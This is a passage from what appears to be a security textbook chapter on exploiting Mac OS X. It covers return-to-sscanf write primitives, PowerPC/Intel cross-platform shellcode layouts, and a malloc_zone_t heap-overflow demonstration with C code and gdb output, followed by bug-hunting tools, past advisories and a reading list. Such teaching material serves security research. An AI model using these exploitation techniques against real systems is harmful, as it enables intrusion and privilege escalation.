`0xbffffbc0`—Address of shellcode on the stack
`0x01010101`—Our "size" argument to strlcpy

And we then have our `nop` sled (eight 0x90 bytes), followed by our shellcode.

So hopefully we've shown that the non-executable stack on OS X is no real problem, thanks to the executable heap and the general stability of the OS in terms of addresses.

In theory it's possible to chain an arbitrary number of blocks of code together as a series of "returns-to," but a practical difficulty arises when you have to place null bytes on the stack, because a null byte normally terminates a string. What we'd like to do is to create an arbitrary amount of data of our choice on the stack, including nulls, and then "return" into it. There are numerous ways to achieve this, one possibility being to ret2sscanf.

`sscanf` is normally called like this:

```
sscanf( "100 200 300 400", "%d %d %d %d", 0x11111111, 0x22222222,
0x33333333, 0x44444444 );
```

This would write the decimal values `100`, `200`, `300`, and `400` to the addresses `0x11111111`, `0x22222222`, `0x33333333`, and `0x44444444`, respectively. The great thing about this is that we can write any value (including null bytes) to any address that we can represent without using null bytes. Effectively, this gives us an extremely simple "write anything anywhere" primitive, from which we can build an arbitrary series of function calls to return to. On OS X, `mprotect` and `vm_protect` are good choices because they can make an area of memory executable.

OS X Cross-Platform Shellcode

The ultimate in elegance when exploiting a bug on the OS X platform would be to write an exploit that works fine on both the PowerPC and Intel platforms.

Neil Archibald and Ilja van Sprundel described a technique for achieving this in their 2005 Ruxcon presentation "Breaking Mac OS X" (which is available at `http://felinemenace.org/papers/breaking_mac_osx.ppt`).

Broadly, the technique follows that described in an earlier article in *Phrack* magazine (Issue 57, Article 14, unfortunately not accessible via the archive site at time of writing). The gist is that you need to find a "jmp"-style instruction on one platform that is `nop`-equivalent on the other, or others. So in the case of OS X your buffer would be laid out as follows:

```
<nop on both>
<nop on both>
<nop on both>
<nop on ppc, jmp to Start on intel>
<ppc shellcode>
Start: <Intel shellcode>
```

In their presentation, Neil and Ilja point out that the 32-bit instruction

```
0xfcfcfcfc
```

is a `nop` on both PowerPC and Intel, because on PowerPC it resolves to the "fnmsub" instruction (floating-negative-multiply-subtract), which does nothing relevant, and on the Intel platform it resolves to the cld (Clear Direction Flag) instruction (0xfc), repeated four times. They then need an instruction that does nothing relevant on the PowerPC while performing a jmp on Intel. It turns out that

```
0x5f90eb48
```

does this, because on the PowerPC it resolves to rlwnm (Rotate Left Word then aNd with Mask) and on Intel it resolves to

```
0x5f: pop edi
0x90: nop
0xeb48 : jmp 0x48
```

… which allows them to place their Intel and PowerPC shellcode in different locations.

Another possibility is to use a PowerPC nop instruction whose low-order 2 bytes resolve to a "jmp" on Intel, such as the `0xeb48` shown previously. The instruction would be:

```
0x6060eb48
```

You could then overwrite the saved return address/function pointer to point at the second byte of this instruction. Because of address rounding on the PowerPC, the instruction will be executed as a `nop`. However, on Intel we will jump to the correct location, and it will be executed as a jmp.

Depending on the circumstances, tricks like these may not be necessary at all, because the solution may be simple—the differences of stack layout in the Intel and PowerPC versions can be used in the case of a stack overflow in a way that would allow you to simply have two different blocks of shellcode. On the other hand, it may be exceptionally difficult to implement a cross-platform exploit—generally it's tricky to find a reliable pointer overwrite that applies equally to both platforms in the case of a heap overflow or format string bug. So although the cross-platform shellcode problem is an interesting one, the solution is likely to be either quite easy or very difficult—either way, there's normally a way around the problem that allows you to write two separate shellcodes. That said, if you do come across a bug where the technique is applicable, Neil and Ilja's technique is definitely a stylish way to solve the problem.

OS X Heap Exploitation

The OS X heap implementation is a little unusual. It rarely intermixes user data and heap management data. Blocks are allocated in *zones*. A structure, `malloc_zone_t`, manages function pointers for the "malloc," "free," and related functions in each zone. In an article in *Phrack* magazine (Phrack 63, Article 0x05—see the list of papers toward the end of the chapter for more information), `nemo@felinemenace.org` runs through a heap exploitation technique for OS X that makes use of an overwrite of the `malloc_zone_t` structure. The technique is a simplified method for exploiting heap overflows, applicable in situations where the block being overflowed can overflow into this table of function pointers. In a simplified situation, this happens when:

1. The block being overflowed is "tiny" (< 500 bytes) or "large" (> 0x4000 bytes).
2. The attacker is able to influence the program to ensure that sufficient "large" blocks have been allocated to ensure that there are no non-writable pages between the overflowed buffer and the relevant "malloc_zone" function pointer table.
3. The block being overflowed can be overflowed far enough to allow the overwrite of the function pointers.

The beauty of this technique is that it can be thought of as turning a heap overflow into a classic stack overflow, with a few modifications.

A real-world example of the technique is given in nemo's paper, illustrating an exploit of a bug in the WebKit library that ships in OS X as part of the Safari Web browser and email client.

This program provides a simple illustration of nemo's technique:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern unsigned *malloc_zones;

int main( int argc, char *argv[] )
{
        char *p1 = NULL;
        char *p2 = NULL;

        printf("malloc_zones: %08x\n", *malloc_zones );
        printf("p1: %08x\n", p1 );

        p1 = malloc( 0x10 );

        while( p2 < *malloc_zones )
                p2 = malloc( 0x5000 );

        printf("p2: %08x\n", p2 );

        unsigned *pu = p1;

        while( pu < (*malloc_zones + 0x20) )
                *pu++ = 0x41414141;

        free( p1 );
        free( p2 );

        return 0;
}
```

As you can see, we simply allocate a tiny block, and then allocate `0x5000`-sized blocks until the address of our allocated block is `>` the malloc_zones pointer. At that point, we know that there are no non-writable pages between us and our target malloc_zone_t structure, so the way is clear for us to trash the heap. We write `0x41414141` over the heap, from `p1` up to `*malloc_zones + 0x20`. When we next call `free()`, we end up executing `0x41414141` (or `0x41414140` with PowerPC address rounding). It looks like this in `gdb`:

```
 (gdb) run
Starting program: /Users/shellcoders/chapter_12/heap
Reading symbols for shared libraries . done
```

```
malloc_zones: 01800000
p1: 00000000
p2: 02008000

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414140
0x41414140 in ?? ()
```

Another nice aspect of the OS X heap from the attacker's point of view is that it provides a few writable function pointers at relatively stable addresses that form an obvious target for a write-anything-anywhere primitive, such as might be found in an app-specific overflow vector or a format string bug.

Bug Hunting on OS X

There are a few extremely useful tools, unique to OS X, that are excellent additions to the bug hunter's arsenal:

- **ktrace/kdump:** As mentioned previously, these excellent tools allow you to see what system calls a given process is calling, which is useful in general but especially useful when you're writing syscall-heavy shellcode.
- **vmmap:** Produces a memory map for the specified process, detailing page permissions, loaded libraries, and so on. You can also get a "diff" between two snapshots taken at different times.
- **heap, leaks, malloc_history:** These tools might all be useful if you're chasing down a heap overflow, because they allow you to examine heap allocations, suspected memory leaks, and the full allocation history of the process, respectively.
- **lsof:** Displays open files (including IP sockets).
- **nm:** Displays names in a binary, that is, the symbol table.
- **otool:** Display deleted parts of binary files, for example, disassemble a section, a symbol, list libraries used, and so on.
- **Xcode:** The standard OS X development tool, which includes `gcc` and `gdb`.

Some Interesting Bugs

It's a good idea to read other people's exploits because they can sometimes demonstrate interesting techniques that might help with your own bug hunting.

In this respect, the most obvious set of bugs and exploits to review at the time of writing is the "Month of Apple Bugs" project. Opinions vary over the moral pros and cons of the project but there's no denying that from a technical standpoint, it's an interesting and helpful read:

```
http://projects.info-pull.com/moab/
```

Aside from that, there are plenty of individual bugs that have been published, some with exploits, that can help illustrate techniques and also help to demonstrate the way the Apple security community is thinking.

One finding by Dino Dai Zovi of Matasano, for instance, points out a flaw that arguably results from a difference between the Mach and Unix security models. If a parent process forces an exception in a setuid child process, it is possible to force the child to execute code supplied by the parent via a Mach "exception port":

```
http://www.matasano.com/log/530/matasano-advisory-macos-x-mach-
exception-server-privilege-escalation/
```

Several file format parsing issues have been found in Apple QuickTime and iTunes, which obviously affect platforms other than OS X. Almost all major operating systems have recently been subject to issues with their default image file parsers so this is nothing new, though it would be interesting to see how many of these issues were found using custom file format fuzzers and how many by other techniques.

An interesting format string bug in the `launchd` daemon was used by Kevin Finisterre ("Non eXecutable Stack Lovin on OSX86" at `http://www.digitalmunition.com/NonExecutableLovin.txt`) to illustrate a technique to bypass the nonexecutable stack feature of OS X on Intel.

```
http://www.digitalmunition.com/DMA%5B2006-0628a%5D.txt
http://osvdb.org/displayvuln.php?osvdb_id=26933
```

The technique Kevin uses is to overwrite the dynamic loader stub for `close()` and point it at shellcode on the (executable) heap.

Finally, Ilja van Sprundel found a vulnerability in the `ping` and `traceroute` programs in OS X that can allow a local user to obtain root access:

```
http://www.suresec.org/advisories/adv5.pdf
```

The vulnerability is a classic `sprintf` overflow and looks like this:

```
static char buf[80];

...etc...

(void)sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)&l));
```

It's also well worth taking a look at old CVE entries for Apple bugs:

http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=apple

Essential Reading for OS X Exploits

The following papers (most of which are mentioned earlier in this chapter) represent required reading for anyone serious about delving deeper into OS X security, exploits, and defense mechanisms.

Archibald, Neil and van Sprundel, Ilja. "Breaking Mac OS X." Ruxcon 2005 presentation. http://felinemenace.org/papers/breaking_mac_osx.ppt

B-r00t. "PowerPC/OS X (Darwin) Shellcode Assembly/Smashing The Mac For Fun & Profit." http://packetstormsecurity.org/shellcode/PPC_OSX_Shellcode_Assembly.pdf

Finisterre, Kevin. "Non eXecutable Stack Lovin on OSX86." http://www.digitalmunition.com/NonExecutableLovin.txt

IBM PowerPC Assembler Language Reference. http://publib16.boulder.ibm.com/pseries/en_US/aixassem/alangref/mastertoc.htm

Klein, Christian and van Sprundel, Ilja. "Mac OS X kernel insecurity." http://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Klein_Sprundel.pdf

The Last Stage of Delirium Research Group. "UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes." http://lsd-pl.net/projects/asmcodes.zip

Moore, H.D. "Mac OS X PPC Shellcode Tricks." http://www.uninformed.org/?v=1&a=1

nemo@felinemenace.org. "Abusing Mach on Mac OS X." http://uninformed.org/?v=4&a=3&t=sumry

nemo@felinemenace.org. "OS X Heap Exploitation Techniques." http://felinemenace.org/papers/p63-0x05_OSX_Heap_Exploitation_Technqiues.txt

palante. "PPC Shellcode." http://community.corest.com/~juliano/palante-ppc-sc.txt

Shepherd, Christopher. "PowerPC Stack Attacks, Part 1." http://felinemenace.org/~nemo/docs/ppcasm/ppc-stack-1.html

Shepherd, Christopher. "PowerPC Stack Attacks, Part 2." http://felinemenace.org/~nemo/docs/ppcasm/ppc-stack-2.html

Conclusion

In this chapter we've covered most of what you need to know to start finding and exploiting bugs in software that runs on the OS X platform—and even in OS X itself. We've covered a few of the stand-out features of OS X from the bug hunter's and exploit writer's point of view and demonstrated a couple of ways of getting around the non-executable stack feature of recent versions of OS X on the Intel platform.

The Mac is obviously a well-designed piece of kit—a pleasure to use, and easy to configure—and so it's likely that the Mac market share will increase. As it does so, the security community should subject it to the same degree of scrutiny that its competitors have been subject to. Advertising claims aside, it will be interesting to see how OS X shapes up in the coming years.